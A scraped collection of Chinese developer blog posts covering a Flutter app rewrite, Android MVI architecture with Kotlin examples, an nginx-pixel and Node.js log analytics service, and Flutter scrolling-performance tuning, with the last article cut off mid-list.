重构对开发团队来说是一件高风险高收益的事,重构过程需要对旧业务进行整理,不仅要填上遗留的暗坑,同时还要避免新坑出现。好处也显而易见,可以解决绝大部分原本令人头痛的问题。


借助 Flutter 的诸多优秀特性,四个月时间,一兜糖家居 APP 重构成功。经过将近一年的线上运营,APP 总体使用和用户反馈良好。借助 CustomScrollView + ListItem + Waterfall,有一些小需求甚至无需发版即可将新改动呈现在用户面前。


重构后的 APP 中 Flutter 覆盖场景超过 90%。Dart 语法对比原生开发所使用的开发语言,语法更加简洁,如 await & async 可以有效的避免原生开发中处处可见的回调地狱,代码逻辑更加清晰。这些新特性,帮助开发人员减少 40% 的日常业务开发时间,所需的人力成本也降为原来的一半,开发效率提升 50%。


因为 Flutter 跨平台的优越性,不仅可以缩短开发周期,后续的测试周期也可以相应缩短,只需编写一次 Flutter 的自动化测试用例,而无需分别对 Android/iOS 编写测试用例,测试效率提升的同时降低测试成本。不仅如此,APP 交付给 UI 设计师阶段,也可以大大节省设计师 UI 走查的时间,走查效率提升 50%。


使用 Flutter 开发后,各开发相关的流程所需成本都显著降低,流程也同步简化了不少。接下来,一兜糖移动开发团队将会致力于将 Flutter 覆盖 APP 中 95% 以上的场景。


额外收获


对于 H5 和 微信小程序,一兜糖团队也尝试使用 MPFlutter 进行重构、迁移。


MPFlutter 是一个跨平台的 Flutter 开发框架,致力于推广 Flutter 至官方未能涉足的领域,如微信小程序。


借助 MPFlutter,一兜糖只用了一个月时间,简单修改一些关键的节点代码,便将应用部署到 H5 和微信小程序中。


体验一兜糖应用


如果您对一兜糖的成果感兴趣,不妨现在就通过以下方式体验。



  • 在 AppStore 或各大安卓应用商店,搜索『一兜糖』下载应用。

  • 在微信搜索『一兜糖』体验小程序。

  • 点击 h5.yidoutang.com/v6/ ,体验一兜糖 H5 网站。


如果您正考虑如何装修新房,或者想知道屋主们的生活状态,欢迎持续使用一兜糖 APP。


作者:PonyCui
链接:https://juejin.cn/post/7039588712597946381
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
收起阅读 »

Google 推荐使用 MVI 架构?卷起来了~

前言 前段时间写了一些介绍MVI架构的文章,不过软件开发上没有最好的架构,只有最合适的架构,同时众所周知,Google推荐的是MVVM架构。相信很多人都会有疑问,我为什么不使用官方推荐的MVVM,而要用你说的这个什么MVI架构呢? 不过我这几天查看Androi...
继续阅读 »

前言


前段时间写了一些介绍MVI架构的文章,不过软件开发上没有最好的架构,只有最合适的架构,同时众所周知,Google推荐的是MVVM架构。相信很多人都会有疑问,我为什么不使用官方推荐的MVVM,而要用你说的这个什么MVI架构呢?

不过我这几天查看Android应用架构指南,发现谷歌推荐的最佳实践已经变成了单向数据流动 + 状态集中管理,这不就是MVI架构吗?
看起来Google已经开始推荐使用MVI架构了,大家也有必要开始了解一下Android应用架构指南的最新版本了~


本文主要基于Android应用架构指南,感兴趣的也可以直接查看原文


总体架构


两个架构原则


Android的架构设计原则主要有两个


分离关注点


要遵循的最重要的原则是分离关注点。一种常见的错误是在一个 ActivityFragment 中编写所有代码。这些基于界面的类应仅包含处理界面和操作系统交互的逻辑。
总得来说,ActivityFragment中的代码应该尽量精简,尽量将业务逻辑迁移到其它层


通过数据驱动界面


另一个重要原则是您应该通过数据驱动界面(最好是持久性模型)。数据模型独立于应用中的界面元素和其他组件。

这意味着它们与界面和应用组件的生命周期没有关联,但仍会在操作系统决定从内存中移除应用的进程时被销毁。

数据模型与界面元素,生命周期解耦,因此方便复用,同时便于测试,更加稳定可靠。


推荐的应用架构


基于上一部分提到的常见架构原则,每个应用应至少有两个层:



  • 界面层 - 在屏幕上显示应用数据。

  • 数据层 - 提供所需要的应用数据。


您可以额外添加一个名为“网域层”的架构层,以简化和复用使用界面层与数据层之间的交互

p1.png


如上所示,各层之间的依赖关系是单向依赖的,网域层,数据层不依赖于界面层


界面层


界面的作用是在屏幕上显示应用数据,并响应用户的点击。每当数据发生变化时,无论是因为用户互动(例如按了某个按钮),还是因为外部输入(例如网络响应),界面都应随之更新,以反映这些变化。

不过,从数据层获取的应用数据的格式通常不同于UI需要展示的数据的格式,因此我们需要将数据层数据转化为页面的状态

因此界面层一般分为两部分,即UI层与State HolderState Holder的角色一般由ViewModel承担

p2.png


数据层的作用是存储和管理应用数据,以及提供对应用数据的访问权限,因此界面层必须执行以下步骤:



  1. 获取应用数据,并将其转换为UI可以轻松呈现的UI State

  2. 订阅UI State,当页面状态发生改变时刷新UI

  3. 接收用户的输入事件,并根据相应的事件进行处理,从而刷新UI State

  4. 根据需要重复第 1-3 步。


主要是一个单向数据流动,如下图所示:


p3.png


因此界面层主要需要做以下工作:



  1. 如何定义UI State

  2. 如何使用单向数据流 (UDF),作为提供和管理UI State的方式。

  3. 如何暴露与更新UI State

  4. 如何订阅UI State


如何定义UI State


如果我们要实现一个新闻列表界面,我们该怎么定义UI State呢?我们将界面需要的所有状态都封装在一个data class中。

与之前的MVVM模式的主要区别之一也在这里,即之前通常是一个State对应一个LiveData,而MVI架构则强调对UI State的集中管理


data class NewsUiState(
val isSignedIn: Boolean = false,
val isPremium: Boolean = false,
val newsItems: List<NewsItemUiState> = listOf(),
val userMessages: List<Message> = listOf()
)

data class NewsItemUiState(
val title: String,
val body: String,
val bookmarked: Boolean = false,
...
)

以上示例中的UI State定义是不可变的。这样的主要好处是,不可变对象可保证即时提供应用的状态。这样一来,UI便可专注于发挥单一作用:读取UI State并相应地更新其UI元素。因此,切勿直接在UI中修改UI State。违反这个原则会导致同一条信息有多个可信来源,从而导致数据不一致的问题。


例如,如上中来自UI StateNewsItemUiState对象中的bookmarked标记在Activity类中已更新,那么该标记会与数据层展开竞争,从而产生多数据源的问题。


UI State集中管理的优缺点


MVVM中我们通常是多个数据流,即一个State对应一个LiveData,而MVI中则是单个数据流。两者各有什么优缺点?

单个数据流的优点主要在于方便,减少模板代码,添加一个状态只需要给data class添加一个属性即可,可以有效地降低ViewModelView的通信成本

同时UI State集中管理可以轻松地实现类似MediatorLiveData的效果,比如可能只有在用户已登录并且是付费新闻服务订阅者时,您才需要显示书签按钮。您可以按如下方式定义UI State


data class NewsUiState(
val isSignedIn: Boolean = false,
val isPremium: Boolean = false,
val newsItems: List<NewsItemUiState> = listOf()
){
val canBookmarkNews: Boolean get() = isSignedIn && isPremium
}

如上所示,书签的可见性是其它两个属性的派生属性,其它两个属性发生变化时,canBookmarkNews也会自动变化,当我们需要实现书签的可见与隐藏逻辑,只需要订阅canBookmarkNews即可,这样可以轻松实现类似MediatorLiveData的效果,但是远比MediatorLiveData要简单


当然,UI State集中管理也会有一些问题:



  • 不相关的数据类型:UI所需的某些状态可能是完全相互独立的。在此类情况下,将这些不同的状态捆绑在一起的代价可能会超过其优势,尤其是当其中某个状态的更新频率高于其他状态的更新频率时。

  • UiState diffingUiState 对象中的字段越多,数据流就越有可能因为其中一个字段被更新而发出。由于视图没有 diffing 机制来了解连续发出的数据流是否相同,因此每次发出都会导致视图更新。当然,我们可以对 LiveDataFlow使用 distinctUntilChanged() 等方法来实现局部刷新,从而解决这个问题


使用单向数据流管理UI State


上文提到,为了保证UI中不能修改状态,UI State中的元素都是不可变的,那么如何更新UI State呢?

我们一般使用ViewModel作为UI State的容器,因此响应用户输入更新UI State主要分为以下几步:



  1. ViewModel 会存储并公开UI StateUI State是经过ViewModel转换的应用数据。

  2. UI层会向ViewModel发送用户事件通知。

  3. ViewModel会处理用户操作并更新UI State

  4. 更新后的状态将反馈给UI以进行呈现。

  5. 系统会对导致状态更改的所有事件重复上述操作。


举个例子,如果用户需要给新闻列表加个书签,那么就需要将事件传递给ViewModel,然后ViewModel更新UI State(中间可能有数据层的更新),UI层订阅UI State订响应刷新,从而完成页面刷新,如下图所示:


p4.png


为什么使用单向数据流动?


单向数据流动可以实现关注点分离原则,它可以将状态变化来源位置、转换位置以及最终使用位置进行分离。

这种分离可让UI只发挥其名称所表明的作用:通过观察UI State变化来显示页面信息,并将用户输入传递给ViewModel以实现状态刷新。


换句话说,单向数据流动有助于实现以下几点:



  1. 数据一致性。界面只有一个可信来源。

  2. 可测试性。状态来源是独立的,因此可独立于界面进行测试。

  3. 可维护性。状态的更改遵循明确定义的模式,即状态更改是用户事件及其数据拉取来源共同作用的结果。


暴露与更新UI State


定义好UI State并确定如何管理相应状态后,下一步是将提供的状态发送给界面。我们可以使用LiveData或者StateFlowUI State转化为数据流并暴露给UI

为了保证不能在UI中修改状态,我们应该定义一个可变的StateFlow与一个不可变的StateFlow,如下所示:


class NewsViewModel(...) : ViewModel() {

private val _uiState = MutableStateFlow(NewsUiState())
val uiState: StateFlow<NewsUiState> = _uiState.asStateFlow()

...

}

这样一来,UI层可以订阅状态,而ViewModel也可以修改状态,以需要执行异步操作的情况为例,可以使用viewModelScope启动协程,并且可以在操作完成时更新状态。


class NewsViewModel(
private val repository: NewsRepository,
...
) : ViewModel() {

private val _uiState = MutableStateFlow(NewsUiState())
val uiState: StateFlow<NewsUiState> = _uiState.asStateFlow()

private var fetchJob: Job? = null

fun fetchArticles(category: String) {
fetchJob?.cancel()
fetchJob = viewModelScope.launch {
try {
val newsItems = repository.newsItemsForCategory(category)
_uiState.update {
it.copy(newsItems = newsItems)
}
} catch (ioe: IOException) {
// Handle the error and notify the notify the UI when appropriate.
_uiState.update {
val messages = getMessagesFromThrowable(ioe)
it.copy(userMessages = messages)
}
}
}
}
}

在上面的示例中,NewsViewModel 类会尝试进行网络请求,然后更新UI State,然后UI层可以对其做出适当反应


订阅UI State


订阅UI State很简单,只需要在UI层观察并刷新UI即可


class NewsActivity : AppCompatActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
lifecycleScope.launch {
repeatOnLifecycle(Lifecycle.State.STARTED) {
viewModel.uiState.collect {
// Update UI elements
}
}
}
}
}

UI State实现局部刷新


因为MVI架构下实现了UI State的集中管理,因此更新一个属性就会导致UI State的更新,那么在这种情况下怎么实现局部刷新呢?

我们可以利用distinctUntilChanged实现,distinctUntilChanged只有在值发生变化了之后才会回调刷新,相当于对属性做了一个防抖,因此我们可以实现局部刷新,使用方式如下所示


class NewsActivity : AppCompatActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
lifecycleScope.launch {
repeatOnLifecycle(Lifecycle.State.STARTED) {
// Bind the visibility of the progressBar to the state
// of isFetchingArticles.
viewModel.uiState
.map { it.isFetchingArticles }
.distinctUntilChanged()
.collect { progressBar.isVisible = it }
}
}
}
}

当然我们也可以对其进行一定的封装,给Flow或者LiveData添加一个扩展函数,令其支持监听属性即可,使用方式如下所示


class MainActivity : AppCompatActivity() {
private fun initViewModel() {
viewModel.viewStates.run {
//监听newsList
observeState(this@MainActivity, MainViewState::newsList) {
newsRvAdapter.submitList(it)
}
//监听网络状态
observeState(this@MainActivity, MainViewState::fetchStatus) {
//..
}
}
}
}

关于MVI架构下支持属性监听,更加详细地内容可见:MVI 架构更佳实践:支持 LiveData 属性监听


网域层


网域层是位于界面层和数据层之间的可选层。


p5.png
网域层负责封装复杂的业务逻辑,或者由多个ViewModel重复使用的简单业务逻辑。此层是可选的,因为并非所有应用都有这类需求。因此,您应仅在需要时使用该层。

网域层具有以下优势:



  1. 避免代码重复。

  2. 改善使用网域层类的类的可读性。

  3. 改善应用的可测试性。

  4. 让您能够划分好职责,从而避免出现大型类。


我感觉对于常见的APP,网域层似乎并没有必要,对于ViewModel重复的逻辑,使用util来说一般就已足够

或许网域层适用于特别大型的项目吧,各位可根据自己的需求选用,关于网域层的详细信息可见:developer.android.com/jetpack/gui…


数据层


数据层主要负责获取与处理数据的逻辑,数据层由多个Repository组成,其中每个Repository可包含零到多个Data Source。您应该为应用处理的每种不同类型的数据创建一个Repository类。例如,您可以为与电影相关的数据创建 MoviesRepository 类,或者为与付款相关的数据创建 PaymentsRepository 类。当然为了方便,针对只有一个数据源的Repository,也可以将数据源的代码也写在Repository,后续有多个数据源时再做拆分


p6.png
数据层跟之前的MVVM架构下的数据层并没用什么区别,这里就不多介绍了,关于数据层的详细信息可见:developer.android.com/jetpack/gui…


总结


相比老版的架构指南,新版主要是增加了网域层并修改了界面层,其中网域层是可选的,各位各根据自己的项目需求使用。

而界面层则从MVVM架构变成了MVI架构,强调了数据的单向数据流动状态的集中管理。相比MVVM架构,MVI架构主要有以下优点



  1. 强调数据单向流动,很容易对状态变化进行跟踪和回溯,在数据一致性,可测试性,可维护性上都有一定优势

  2. 强调对UI State的集中管理,只需要订阅一个ViewState便可获取页面的所有状态,相对 MVVM 减少了不少模板代码

  3. 添加状态只需要添加一个属性,降低了ViewModelView层的通信成本,将业务逻辑集中在ViewModel中,View层只需要订阅状态然后刷新即可


当然在软件开发中没有最好的架构,只有最合适的架构,各位可根据情况选用适合项目的架构,实际上在我看来Google在指南中推荐使用MVI而不再是MVVM,很可能是为了统一AndroidCompose的架构。因为在Compose中并没有双向数据绑定,只有单向数据流动,因此MVI是最适合Compose的架构。


当然如果你的项目中没有使用DataBinding,或许也可以开始尝试一下使用MVI,不使用DataBindingMVVM架构切换为MVI成本不高,切换起来也比较简单,在易用性,数据一致性,可测试性,可维护性等方面都有一定优势,后续也可以无缝切换到Compose


作者:程序员江同学
链接:https://juejin.cn/post/7048980213811642382
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 收起阅读 »

使用 Nginx 构建前端日志统计服务

之前的几篇文章都是关于低代码平台的。这个大的项目以 low code 为核心,囊括了编辑器前端、编辑器后端、C 端 H5、组件库、组件平台、后台管理系统前端、后台管理系统后台、统计服务、自研 CLI 九大系统。先放一下整体流程图吧:日志收集在常见的埋点方案中,...
继续阅读 »

背景

之前的几篇文章都是关于低代码平台的。


这个大的项目以 low code 为核心,囊括了编辑器前端、编辑器后端、C 端 H5、组件库、组件平台、后台管理系统前端、后台管理系统后台、统计服务、自研 CLI 九大系统。

今天就来说一下其中的统计服务:目的主要是为了实现 H5 页面的分渠道统计(其实不仅仅是分渠道统计,核心是想做一个自定义事件统计服务,只是目前有分渠道统计的需求),查看每个渠道具体的 PV 情况。(具体会在 url 上面体现,会带上页面名称、id、渠道类型等)

先放一下整体流程图吧:


日志收集

常见的日志收集方式有手动埋点和自动埋点,这里我们不关注于如何收集日志,而是如何将收集的日志的发送到服务器。

在常见的埋点方案中,通过图片来发送埋点请求是一种经常被采纳的,它有很多优势:

  • 没有跨域

  • 体积小

  • 能够完成整个 HTTP 请求+响应(尽管不需要响应内容)

  • 执行过程无阻塞

这里的方案就是在 nginx 上放一张 1px * 1px 的静态图片,然后通过访问该图片(http://xxxx.png?env=xx&event=xxx),并将埋点数据放在query参数上,以此将埋点数据落到nginx日志中。

iOS 上会限制 get 请求的 url 长度,但我们这里真实场景发送的数据不会太多,所以目前暂时采用这种方案

这里简单阐述一下为什么图片地址的query key 要这么设计,如果单纯是为了统计渠道和作品,很有可能会把key设计为channelworkId这种,但上面也说到了,我们是想做一个自定义事件统计服务,那么就要考虑字段的可扩展性,字段应更有通用语义。所以参考了很多统计服务的设计,这里采用的字段为:

  • env

  • event

  • key

  • value

之后每次访问页面,nginx就会自动记录日志到access_log中。

有了日志,下面我们来看下如何来对其进行拆分。

日志拆分

为何要拆分日志

access.log日志默认不会拆分,会越积累越多,系统磁盘的空间会被消耗得越来越多,将来可能面临着日志写入失败、服务异常的问题。

日志文件内容过多,对于后续的问题排查和分析也会变得很困难。

所以日志的拆分是有必要也是必须的。

如何拆分日志

我们这里拆分日志的核心思路是:将当前的access.log复制一份重命名为新的日志文件,之后清空老的日志文件。

视流量情况(流量越大日志文件积累的越快),按天、小时、分钟来拆分。可以把access.log按天拆分到某个文件夹中。

log_by_day/2021-12-19.log
log_by_day/2021-12-20.log
log_by_day/2021-12-21.log

但上面的复制 -> 清空操作肯定是要自动处理的,这里就需要启动定时任务,在每天固定的时间(我这里是在每天凌晨 00:00)来处理。

定时任务

其实定时任务不仅在日志拆分的时候会用到,在后面的日志分析和日志清除都会用到,这里先简单介绍一下,最终会整合拆分、分析和清除。

linux中内置的cron进程就是来处理定时任务的。在node中我们一般会用node-schedulecron来处理定时任务。

这里使用的是cron

/**
   cron 定时规则 https://www.npmjs.com/package/cron
   *    *    *    *    *    *
           
           
            day of week (0 - 6) (Sun-Sat)
          └───── month (1 - 12)
        └────────── day of month (1 - 31)
      └─────────────── hour (0 - 23)
    └──────────────────── minute (0 - 59)
  └───────────────────────── second (0 - 59)
*/

具体使用方式就不展开说明了。

编码

有了上面这些储备,下面我就来写一下这块代码,首先梳理下逻辑:

1️⃣ 读取源文件 access.log

2️⃣ 创建拆分后的文件夹(不存在时需自动创建)

3️⃣ 创建日志文件(天维度,不存在时需自动创建)

4️⃣ 拷贝源日志至新文件

5️⃣ 清空 access.log

/**
* 拆分日志文件
*
* @param {*} accessLogPath
*/
function splitLogFile(accessLogPath) {
 const accessLogFile = path.join(accessLogPath, "access.log");

 const distFolder = path.join(accessLogPath, DIST_FOLDER_NAME);
 fse.ensureDirSync(distFolder);

 const distFile = path.join(distFolder, genYesterdayLogFileName());
 fse.ensureFileSync(distFile);
 fse.outputFileSync(distFile, ""); // 防止重复,先清空

 fse.copySync(accessLogFile, distFile);

 fse.outputFileSync(accessLogFile, "");
}

日志分析

日志分析就是读取上一步拆分好的文件,然后按照一定规则去处理、落库。这里有一个很重要的点要提一下:node在处理大文件或者未知内存文件大小的时候千万不要使用readFile,会突破 V8 内存限制。正是考虑到这种情况,所以这里读取日志文件的方式应该是:createReadStream创建一个可读流交给 readline 逐行读取处理

readline

readline 模块提供了用于从可读流每次一行地读取数据的接口。 可以使用以下方式访问它:

const readline = require("readline");

readline 的使用也非常简单:创建一个接口实例,传入对应的参数:

const readStream = fs.createReadStream(logFile);
const rl = readline.createInterface({
 input: readStream,
});

然后监听对应事件即可:

rl.on("line", (line) => {
 if (!line) return;

 // 获取 url query
 const query = getQueryFromLogLine(line);
 if (_.isEmpty(query)) return;

 // 累加逻辑
 // ...
});
rl.on("close", () => {
 // 逐行读取结束,存入数据库
 const result = eventData.getResult();
 resolve(result);
});

这里用到了lineclose事件:

  • line事件:每当 input 流接收到行尾输入(\n、\r 或 \r\n)时,则会触发 'line' 事件

  • close事件:一般在传输结束时会触发该事件

逐行分析日志结果

了解了readline 的使用,下面让我们来逐行对日志结果进行分析吧。

首先来看下access.log中日志的格式:

我们取其中一行来分析:

127.0.0.1 - - [19/Feb/2021:15:22:06 +0800] "GET /event.png?env=h5&event=pv&key=24&value=2 HTTP/1.1" 200 5233 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 11_0_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36" "-"

我们要拿到的就是urlquery部分,也就是我们在h5中自定义的数据。

通过正则匹配即可:

const reg = /GET\s\/event.png\?(.+?)\s/;
const matchResult = line.match(reg);
console.log("matchResult", matchResult);

const queryStr = matchResult[1];
console.log("queryStr", queryStr);

打印结果为:

queryStr可通过node中的querystring.parse()来处理:

const query = querystring.parse(queryStr);

console.log('query', query)
{
env: 'h5',
event: 'pv',
key: '24',
value: '2'
}

剩下的就是对数据做累加处理了。

但如何去做累加,我们要想一下,最开始也说了是要去做分渠道统计,那么最终的结果应该可以清晰的看到两个数据:

  • 所有渠道的数据

  • 每个渠道单独的数据

只有这样的数据对于运营才是有价值的,数据的好坏也直接决定了后面在每个渠道投放的力度。

这里我参考了 Google Analytics中的多渠道漏斗的概念,由上到下分维度记录每个维度的数据,这样就可以清晰的知道每个渠道的情况了。

具体实现也不麻烦,我们先来看下刚刚从一条链接中得到的有用数据:

{
 env: 'h5',
 event: 'pv',
 key: '24',
 value: '2'
}

这里的env代表环境,这里统计的都是来源于h5页面,所以envh5,但是为了扩展,所以设置了这个字段。

event表示事件名称,这里主要是统计访问量,所以为pv

key是作品 id。

value是渠道 code,目前主要有:1-微信、2-小红书、3-抖音。

再来看下最终统计得到的结果吧:

{
 date: '2021-12-21',
 key: 'h5',
 value: { num: 1276}
}
{
 date: '2021-12-21',
 key: 'h5.pv',
 value: { num: 1000}
}
{
 date: '2021-12-21',
 key: 'h5.pv.12',
 value: { num: 200}
}
{
 date: '2021-12-21',
 key: 'h5.pv.12.1',
 value: { num: 56}
}
{
 date: '2021-12-21',
 key: 'h5.pv.12.2',
 value: { num: 84}
}
{
 date: '2021-12-21',
 key: 'h5.pv.12.3',
 value: { num: 60}
}

这是截取了2021-12-21当天的数据,我给大家分析一波:

1️⃣ h5:当天 h5 页面的自定义事件上报总数为 1276

2️⃣ h5.pv:其中 所有 pv(也就是 h5.pv)为 1000

3️⃣ h5.pv.12:作品 id 为 12 的 pv 一共有 200

4️⃣ h5.pv.12.1:作品 id 为 12 的在微信渠道的 pv 为 56

5️⃣ h5.pv.12.2:作品 id 为 12 的在小红书渠道的 pv 为 84

6️⃣ h5.pv.12.2:作品 id 为 12 的在抖音渠道的 pv 为 60

这样就能清楚的得到某一天某个作品在某条渠道的访问情况了,后续再以这些数据为支撑做成可视化报表,效果就一目了然了。

统计结果入库

目前这部分数据是放在了mongoDB中,关于node中使用mongoDB就不展开说了,不熟悉的可以参考我另外一篇文章Koa2+MongoDB+JWT 实战--Restful API 最佳实践

这里贴下model吧:

/**
* @description event 数据模型
*/
const mongoose = require("../db/mongoose");

const schema = mongoose.Schema(
{
   date: Date,
   key: String,
   value: {
     num: Number,
  },
},
{
   timestamps: true,
}
);

const EventModel = mongoose.model("event_analytics_data", schema);

module.exports = EventModel;

日志删除

随着页面的持续访问,日志文件会快速增加,超过一定时间的日志文件存在的价值也不是很大,所以我们要定期清除日志文件。

这个其实比较简单,遍历文件,因为文件名都是以日期命名的(格式:2021-12-14.log),所以只要判断时间间隔大于 90 天就删除日志文件。

贴一下核心实现:

// 读取日志文件
const fileNames = fse.readdirSync(distFolder);
fileNames.forEach((fileName) => {
 try {
   // fileName 格式 '2021-09-14.log'
   const dateStr = fileName.split(".")[0];
   const d = new Date(dateStr);
   const t = Date.now() - d.getTime();
   if (t / 1000 / 60 / 60 / 24 > 90) {
     // 时间间隔,大于 90 天,则删除日志文件
     const filePath = path.join(distFolder, fileName);
     fse.removeSync(filePath);
  }
} catch (error) {
   console.error(`日志文件格式错误 ${fileName}`, error);
}
});

定时任务整合

到这里,日志的拆分、分析和清除都说完了,现在要用cron来对他们做整合了。

首先来创建定时任务:

function schedule(cronTime, onTick) {
 if (!cronTime) return;
 if (typeof onTick !== "function") return;

 // 创建定时任务
 const c = new CronJob(
   cronTime,
   onTick,
   null, // onComplete 何时停止任务
   true, // 初始化之后立刻执行
   "Asia/Shanghai" // 时区
);

 // 进程结束时,停止定时任务
 process.on("exit", () => c.stop());
}

然后每一阶段都在不同的时间阶段去处理(定时拆分 -> 定时分析 -> 定时删除)

定时拆分

function splitLogFileTiming() {
 const cronTime = "0 0 0 * * *"; // 每天的 00:00:00
 schedule(cronTime, () => splitLogFile(accessLogPath));
 console.log("定时拆分日志文件", cronTime);
}

定时分析并入库

function analysisLogsTiming() {
 const cronTime = "0 0 3 * * *"; // 每天的 3:00:00 ,此时凌晨,访问量较少,服务器资源处于闲置状态
 schedule(cronTime, () => analysisLogsAndWriteDB(accessLogPath));
 console.log("定时分析日志并入库", cronTime);
}

定时删除

function rmLogsTiming() {
 const cronTime = "0 0 4 * * *"; // 每天的 4:00:00 ,此时凌晨,访问量较少,服务器资源处于闲置状态
 schedule(cronTime, () => rmLogs(accessLogPath));
 console.log("定时删除过期日志文件", cronTime);
}

然后在应用入口按序调用即可:

// 定时拆分日志文件
splitLogFileTiming();
// 定时分析日志并入库
analysisLogsTiming();
// 定时删除过期日志文件
rmLogsTiming();

总结

ok,到这里,一个简易的统计服务就完成了。

作者:前端森林
来源:https://segmentfault.com/a/1190000041184489

收起阅读 »

淘特 Flutter 流畅度优化实践

不同的业务背景引出不同的技术诉求,“用户体验特爽”是淘特的不懈追求,本文将介绍笔者加入淘特以来在Flutter流畅度方面的诸多优化实践,这些优化不涉及Engine改造、不涉及高大上的“轮子建设“,只需细心细致深入业务抽丝剥茧,坚持实际体感导向,即能为用户体验带...
继续阅读 »

不同的业务背景引出不同的技术诉求,“用户体验特爽”是淘特的不懈追求,本文将介绍笔者加入淘特以来在Flutter流畅度方面的诸多优化实践,这些优化不涉及Engine改造、不涉及高大上的“轮子建设“,只需细心细致深入业务抽丝剥茧,坚持实际体感导向,即能为用户体验带来显著提升,值得Flutter开发者将其应用在产品的每一个像素。

背景

淘特具备鲜明的三大特征:

  1. 业务特征:淘特拥有业界最复杂的淘系电商链路

  2. 用户特征:淘特用户中有大量的中老年用户,大量的用户手机系统版本较低,大量的用户使用中低端机

  3. 技术特征:淘特大规模采用Flutter跨平台渲染技术

综上所述:

最复杂业务链路+最低性能用户群体+最新的跨平台技术==>核心问题之一:页面流畅度受到严峻挑战

Flutter核心链路20S快速滚动帧率卡顿率(每秒卡顿率)
直播Tab277.04%
我的41.36667.63%
详情26.715.58%

注:相关数据以vivo Y67,淘特

3.32.999.10 (103) 测得

目标

流畅度是用户体验的关键一环,大家都不希望手机用起来像看电影/刷PPT,尤其是现在高刷屏(90/120hz)的普及,更是极大强化了用户对流畅度的感知,但流畅度也跟产品复杂度强相关,也是一次繁与简的取舍,淘特流畅度一期优化目标:

Flutter核心链路页面达到高流畅度(平均帧率:低端机45FPS、中端机50FPS、高端50FPS)

一期优化后的状态

事项平均帧率卡顿率提升效果
1.直播Tab推荐、分类栏目46.00.35%帧率提高19帧、卡顿率降低6.7%
2.我的页面46.00%帧率提高4.6帧,卡顿率降低7.6%
3.详情45.02%帧率提高18.3桢,卡顿率降低13.58%

旧版3.32如视频左,新版3.37如视频右。因uiautomator工具会触发无障碍性能ISSUE,此版本对比为人工测试。

视频请见:淘特 Flutter 流畅度优化实践

除了数据上的明显提升,体感上,旧版快滑卡顿明显,画面突变明显,新版则基本消除明显的卡顿,画面连续平稳。

问题

回到技术本身,Flutter为什么会卡顿、帧率低?总的来说均为以下2个原因:

  1. UI线程慢了-->渲染指令出的慢

  2. GPU线程慢了-->光栅化慢、图层合成慢、像素上屏慢

那么,怎么解上述的 2 个问题是咱们所关心的重点。既然知道某块有问题,我们自然要有工具系统化的度量问题水平,以及系统化的理论支撑实践,且看以下2节,过程中穿插相关策略在淘特的实践, 理论与实践结合理解更透。

怎么解

解法 - 案例

降低setState的触发节点

大家都知道Flutter的刷新机制,在越高的Widget树层级触发setState标脏Element,“脏树越大”,在越低层级越局部的Widget触发状态更新,“脏树越小”,被标记为脏树后将触发Element.Rebuild,遍历组件树。原理请看下图“Flutter页面刷新机制源码解析”:




“Element.updateChild源码分析”请见下文优化二。

实际应用淘特为例。直播Tab的视频预览功能为例,最初直播Tab的视频播放index通过状态层层传递给子组件,一旦状态变更,顶层setState触发播放index更新, 造成整个页面刷新。但实际整个页面需要更新状态的只有“需要暂停的原VideoWidget”和“待播放的VideoWidget”, 我们改为监听机制,页面中的所有VideoWidget注册监听,顶层用EventBus统一分发播放index至各VideoWidget,局部Widget Check后改变自身状态。

再比如详情页,由于使用了“上一个页面借图”的功能,监听到滚动后隐藏借的图,但setState的调用节点放在了详情顶层Widget,造成了全局刷新。实际该监听刷新逻辑可下放至“借图组件”,降低“脏树”的大小。



缓存不变的Widget

缓存不变的Widget有2大好处。1.被缓存的Widget将无需重复创建, 虽然Flutter官方认为Widget是一种非常轻量级的对象,在实际业务中,Build耗时过高仍是一种常见现象。2.返回相同引用的Widget将使Flutter停止该子树后续遍历, 即Flutter认为该子树无变化无需更新。原理请看下图“Element.updateChild源码分析”


应用场景以淘特实际页面为例。详情页部分组件使用了DXWidget,理论上组件内容一经创建后当次页面生命周期不会再有变化,此种情况即可缓存不变的Widget,避免重复动态渲染DX,停止子树遍历。

Feed流的Item组件,布局复杂,创建成本较高,理论上创建一次后内容也不会再变化,但item可能被删除,此时应该用Objectkey唯一标识组件,防止状态错位。



减少不必要的build(setState)

直播Tab用到一个埋点曝光组件,经过DevTools检查,发现其在每一次进度回调中重新创建itemWidget,虽然这不会造成业务异常,但理论上itemWidget只需被创建一次,这块经排查是使用组件时误传了builder函数,而不是直接传itemWidget实例。

详情页的逻辑非常复杂,AppBar根据滚动距离实时计算透明度,这会导致高频的setState,实际上透明度变化前后应该满足一个差值后才应刷新一次状态, 为了性能考量,透明度应该只有少数几种值变更。



多变图层与不变图层分离

在日常开发中,会经常遇到页面中大部分元素不变,某个元素实时变化。如Gif,动画。这时我们就需要RepaintBoundary,不过独立图层合成也是有消耗,这块需实测把握。以淘特为例。

直播Feed中的Gif图是不断高频跳动,这会导致页面同一图层重新Paint。此时可以用RepaintBoundary包裹该多变的Gif组件,让其处在单独的图层,待最终再一块图层合成上屏。

同理, 秒杀倒计时也是电商常见场景, 该组件也适用于RepaintBoundary场景。



避免频繁的triggerGC

因为AliFlutter的关系,我们得以主动触发DartGC,但GC同样也是有消耗的,高频的GC更是如此。淘特之前因为iOS的内存压力,在列表滚动停止时ScrollEndNotification则会触发GC,ScrollEndNotification在每一次手Down->up事件后都会触发一次,如果用户多次触摸,则会较为频繁的触发GC,实测影响Y67 4帧左右的性能,这块增加页面不可见时GC 和在Y67等android低端机关闭滑动GC,提高滑动性能。


大JSON解析子线程化

Flutter的isolate默认是单线程模型,而所有的UI操作又都是在UI线程进行的,想应用多线程的并发优势需新开isolate 或compute。无论如何await,scheduleTask 都只是延后任务的调用时机,仍然会占用“UI线程”, 所以在大Json解析或大量的channel调用时,一定要观测对UI线程的消耗情况。在淘特中,我们在低端机开启json解析compute化,不阻塞UI线程。

尽量减少或降级Clip、Opacity等组件的使用

